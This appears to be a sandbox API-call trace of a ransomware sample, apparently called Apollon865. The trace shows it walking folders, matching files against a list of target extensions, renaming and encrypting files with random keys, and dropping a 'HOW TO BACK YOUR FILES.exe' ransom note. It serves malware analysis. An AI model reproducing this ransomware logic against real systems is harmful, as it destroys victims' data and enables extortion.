	[0036.961] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0036.961] lstrlenW (lpString="kexic") returned 5
	[0036.961] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0036.961] lstrlenW (lpString="kexis") returned 5
	[0036.961] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0036.961] lstrlenW (lpString="lgc") returned 3
	[0036.961] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0036.961] lstrlenW (lpString="lwx") returned 3
	[0036.961] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0036.961] lstrlenW (lpString="maf") returned 3
	[0036.961] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0036.961] lstrlenW (lpString="maq") returned 3
	[0036.961] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0036.961] lstrlenW (lpString="mar") returned 3
	[0036.961] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0036.961] lstrlenW (lpString="marshal") returned 7
	[0036.961] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0036.961] lstrlenW (lpString="mas") returned 3
	[0036.962] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0036.962] lstrlenW (lpString="mav") returned 3
	[0036.962] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0036.962] lstrlenW (lpString="maw") returned 3
	[0036.962] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0036.962] lstrlenW (lpString="mdbhtml") returned 7
	[0036.962] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0036.962] lstrlenW (lpString="mdn") returned 3
	[0036.962] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0036.962] lstrlenW (lpString="mdt") returned 3
	[0036.962] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0036.962] lstrlenW (lpString="mfd") returned 3
	[0036.962] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0036.962] lstrlenW (lpString="mpd") returned 3
	[0036.962] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0036.962] lstrlenW (lpString="mrg") returned 3
	[0036.962] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0036.962] lstrlenW (lpString="mud") returned 3
	[0036.962] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0036.962] lstrlenW (lpString="mwb") returned 3
	[0036.962] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0036.962] lstrlenW (lpString="myd") returned 3
	[0036.962] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0036.962] lstrlenW (lpString="ndf") returned 3
	[0036.962] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0036.962] lstrlenW (lpString="nnt") returned 3
	[0036.962] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0036.962] lstrlenW (lpString="nrmlib") returned 6
	[0036.962] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0036.962] lstrlenW (lpString="ns2") returned 3
	[0036.962] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0036.963] lstrlenW (lpString="ns3") returned 3
	[0036.963] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0036.963] lstrlenW (lpString="ns4") returned 3
	[0036.963] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0036.963] lstrlenW (lpString="nsf") returned 3
	[0036.963] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0036.963] lstrlenW (lpString="nv") returned 2
	[0036.963] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0036.963] lstrlenW (lpString="nv2") returned 3
	[0036.963] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0036.963] lstrlenW (lpString="nwdb") returned 4
	[0036.963] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0036.963] lstrlenW (lpString="nyf") returned 3
	[0036.963] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0036.963] lstrlenW (lpString="odb") returned 3
	[0036.963] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0036.963] lstrlenW (lpString="odb") returned 3
	[0036.963] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0036.963] lstrlenW (lpString="oqy") returned 3
	[0036.963] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0036.963] lstrlenW (lpString="ora") returned 3
	[0036.963] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0036.963] lstrlenW (lpString="orx") returned 3
	[0036.963] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0036.963] lstrlenW (lpString="owc") returned 3
	[0036.963] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0036.963] lstrlenW (lpString="p96") returned 3
	[0036.963] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0036.963] lstrlenW (lpString="p97") returned 3
	[0036.963] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0036.963] lstrlenW (lpString="pan") returned 3
	[0036.963] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0036.963] lstrlenW (lpString="pdb") returned 3
	[0036.963] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0036.963] lstrlenW (lpString="pdm") returned 3
	[0036.963] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0036.963] lstrlenW (lpString="pnz") returned 3
	[0036.964] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0036.964] lstrlenW (lpString="qry") returned 3
	[0036.964] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0036.964] lstrlenW (lpString="qvd") returned 3
	[0036.964] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0036.964] lstrlenW (lpString="rbf") returned 3
	[0036.964] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0036.964] lstrlenW (lpString="rctd") returned 4
	[0036.964] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0036.964] lstrlenW (lpString="rod") returned 3
	[0036.964] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0036.964] lstrlenW (lpString="rodx") returned 4
	[0036.964] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0036.964] lstrlenW (lpString="rpd") returned 3
	[0036.964] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0036.964] lstrlenW (lpString="rsd") returned 3
	[0036.964] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0036.964] lstrlenW (lpString="sas7bdat") returned 8
	[0036.964] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0036.964] lstrlenW (lpString="sbf") returned 3
	[0036.964] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0036.964] lstrlenW (lpString="scx") returned 3
	[0036.964] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0036.964] lstrlenW (lpString="sdb") returned 3
	[0036.964] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0036.964] lstrlenW (lpString="sdc") returned 3
	[0036.964] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0036.964] lstrlenW (lpString="sdf") returned 3
	[0036.964] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0036.964] lstrlenW (lpString="sis") returned 3
	[0036.964] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0036.964] lstrlenW (lpString="spq") returned 3
	[0036.964] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0036.964] lstrlenW (lpString="te") returned 2
	[0036.964] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0036.964] lstrlenW (lpString="teacher") returned 7
	[0036.964] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0036.965] lstrlenW (lpString="tmd") returned 3
	[0036.965] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0036.965] lstrlenW (lpString="tps") returned 3
	[0036.965] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0036.965] lstrlenW (lpString="trc") returned 3
	[0036.965] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0036.965] lstrlenW (lpString="trc") returned 3
	[0036.965] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0036.965] lstrlenW (lpString="trm") returned 3
	[0036.965] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0036.965] lstrlenW (lpString="udb") returned 3
	[0036.965] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0036.965] lstrlenW (lpString="udl") returned 3
	[0036.965] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0036.965] lstrlenW (lpString="usr") returned 3
	[0036.965] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0036.965] lstrlenW (lpString="v12") returned 3
	[0036.965] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0036.965] lstrlenW (lpString="vis") returned 3
	[0036.965] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0036.965] lstrlenW (lpString="vpd") returned 3
	[0036.965] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0036.965] lstrlenW (lpString="vvv") returned 3
	[0036.965] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0036.965] lstrlenW (lpString="wdb") returned 3
	[0036.965] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0036.965] lstrlenW (lpString="wmdb") returned 4
	[0036.965] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0036.965] lstrlenW (lpString="wrk") returned 3
	[0036.965] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0036.965] lstrlenW (lpString="xdb") returned 3
	[0036.965] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0036.965] lstrlenW (lpString="xld") returned 3
	[0036.965] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0036.965] lstrlenW (lpString="xmlff") returned 5
	[0036.965] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0036.965] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Videos\\desktop.ini.Apollon865") returned 45
	[0036.966] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Videos\\desktop.ini" (normalized: "c:\\users\\public\\videos\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Videos\\desktop.ini.Apollon865" (normalized: "c:\\users\\public\\videos\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0036.966] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\desktop.ini.Apollon865" (normalized: "c:\\users\\public\\videos\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0036.966] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=380) returned 1
	[0036.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0036.967] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0036.967] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0036.967] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0037.234] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0037.234] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0037.234] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x480, lpName=0x0) returned 0x118
	[0037.235] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x480) returned 0x100000
	[0037.236] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0037.236] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0037.236] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0037.236] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0037.236] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0037.236] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0037.236] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0037.237] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0037.237] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0037.237] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599c30
	[0037.237] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0037.237] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599c30 | out: hHeap=0x580000) returned 1
	[0037.237] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0037.237] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0037.237] CloseHandle (hObject=0x118) returned 1
	[0037.237] CloseHandle (hObject=0xc0) returned 1
	[0037.239] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0037.239] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0037.239] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0037.239] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d8e9c30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2d8e9c30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0037.239] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0037.239] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2d90fd90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d90fd90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 1
	[0037.239] lstrcmpiW (lpString1="Sample Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.239] lstrcmpiW (lpString1="Sample Videos", lpString2="Apollon865.txt.exe") returned 1
	[0037.239] lstrcmpiW (lpString1="Sample Videos", lpString2=".") returned 1
	[0037.239] lstrcmpiW (lpString1="Sample Videos", lpString2="..") returned 1
	[0037.239] lstrcmpiW (lpString1="Sample Videos", lpString2="windows") returned -1
	[0037.239] lstrcmpiW (lpString1="Sample Videos", lpString2="bootmgr") returned 1
	[0037.239] lstrcmpiW (lpString1="Sample Videos", lpString2="temp") returned -1
	[0037.239] lstrcmpiW (lpString1="Sample Videos", lpString2="pagefile.sys") returned 1
	[0037.239] lstrcmpiW (lpString1="Sample Videos", lpString2="boot") returned 1
	[0037.239] lstrcmpiW (lpString1="Sample Videos", lpString2="ids.txt") returned 1
	[0037.239] lstrcmpiW (lpString1="Sample Videos", lpString2="ntuser.dat") returned 1
	[0037.239] lstrcmpiW (lpString1="Sample Videos", lpString2="perflogs") returned 1
	[0037.239] lstrcmpiW (lpString1="Sample Videos", lpString2="MSBuild") returned 1
	[0037.239] lstrlenW (lpString="Sample Videos") returned 13
	[0037.239] lstrlenW (lpString="C:\\Users\\Public\\Videos\\desktop.ini") returned 34
	[0037.239] lstrcpyW (in: lpString1=0x119e636, lpString2="Sample Videos" | out: lpString1="Sample Videos") returned="Sample Videos"
	[0037.239] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0037.239] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4a) returned 0x5bc908
	[0037.239] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c50 | out: ListHead=0x5b75f0, ListEntry=0x5b7c50) returned 0x5b7c30
	[0037.240] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2d90fd90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d90fd90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 0
	[0037.240] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0037.240] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c50
	[0037.240] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Public\\Videos\\Sample Videos", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Videos\\Sample Videos") returned="C:\\Users\\Public\\Videos\\Sample Videos"
	[0037.240] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc908 | out: hHeap=0x580000) returned 1
	[0037.240] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0037.240] lstrlenW (lpString="C:\\Users\\Public\\Videos\\Sample Videos") returned 36
	[0037.240] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Videos\\Sample Videos" | out: lpString1="C:\\Users\\Public\\Videos\\Sample Videos") returned="C:\\Users\\Public\\Videos\\Sample Videos"
	[0037.240] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.240] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Videos\\Sample Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\videos\\sample videos\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0037.240] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0037.240] GetLastError () returned 0x20
	[0037.240] Sleep (dwMilliseconds=0xc8) 
	[0037.527] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0037.527] GetLastError () returned 0x20
	[0037.527] Sleep (dwMilliseconds=0xc8) 
	[0037.722] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154
	[0037.722] GetLastError () returned 0x0
	[0037.722] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0037.722] ReadFile (in: hFile=0x154, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0037.722] CloseHandle (hObject=0x154) returned 1
	[0037.723] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0037.723] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.723] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2d90fd90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d90fd90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0037.723] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.723] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.723] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0037.723] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2d90fd90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d90fd90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.723] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.723] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0037.723] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0037.723] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0037.723] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be12937, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0037.723] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.723] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0037.723] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0037.723] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0037.723] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0037.723] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0037.723] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0037.723] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0037.723] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0037.723] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0037.723] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0037.723] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0037.723] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0037.723] lstrlenW (lpString="desktop.ini") returned 11
	[0037.723] lstrlenW (lpString="C:\\Users\\Public\\Videos\\Sample Videos\\*") returned 38
	[0037.723] lstrcpyW (in: lpString1=0x119e652, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0037.723] lstrlenW (lpString="desktop.ini") returned 11
	[0037.723] lstrlenW (lpString="Apollon865") returned 10
	[0037.724] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0037.724] lstrlenW (lpString=".dll") returned 4
	[0037.724] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0037.724] lstrlenW (lpString=".lnk") returned 4
	[0037.724] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0037.724] lstrlenW (lpString=".ini") returned 4
	[0037.724] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0037.724] lstrlenW (lpString=".sys") returned 4
	[0037.724] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0037.724] lstrlenW (lpString="desktop.ini") returned 11
	[0037.724] lstrlenW (lpString="bak") returned 3
	[0037.724] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0037.724] lstrlenW (lpString="ba_") returned 3
	[0037.724] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0037.724] lstrlenW (lpString="dbb") returned 3
	[0037.724] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0037.724] lstrlenW (lpString="vmdk") returned 4
	[0037.724] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0037.724] lstrlenW (lpString="rar") returned 3
	[0037.724] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0037.724] lstrlenW (lpString="zip") returned 3
	[0037.724] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0037.724] lstrlenW (lpString="tgz") returned 3
	[0037.724] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0037.724] lstrlenW (lpString="vbox") returned 4
	[0037.724] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0037.724] lstrlenW (lpString="vdi") returned 3
	[0037.724] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0037.724] lstrlenW (lpString="vhd") returned 3
	[0037.724] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0037.724] lstrlenW (lpString="vhdx") returned 4
	[0037.724] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0037.724] lstrlenW (lpString="avhd") returned 4
	[0037.724] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0037.724] lstrlenW (lpString="db") returned 2
	[0037.724] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0037.724] lstrlenW (lpString="db2") returned 3
	[0037.724] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0037.725] lstrlenW (lpString="db3") returned 3
	[0037.725] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0037.725] lstrlenW (lpString="dbf") returned 3
	[0037.725] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0037.725] lstrlenW (lpString="mdf") returned 3
	[0037.725] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0037.725] lstrlenW (lpString="mdb") returned 3
	[0037.725] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0037.725] lstrlenW (lpString="sql") returned 3
	[0037.725] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0037.725] lstrlenW (lpString="sqlite") returned 6
	[0037.725] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0037.725] lstrlenW (lpString="sqlite3") returned 7
	[0037.725] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0037.725] lstrlenW (lpString="sqlitedb") returned 8
	[0037.725] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0037.725] lstrlenW (lpString="xml") returned 3
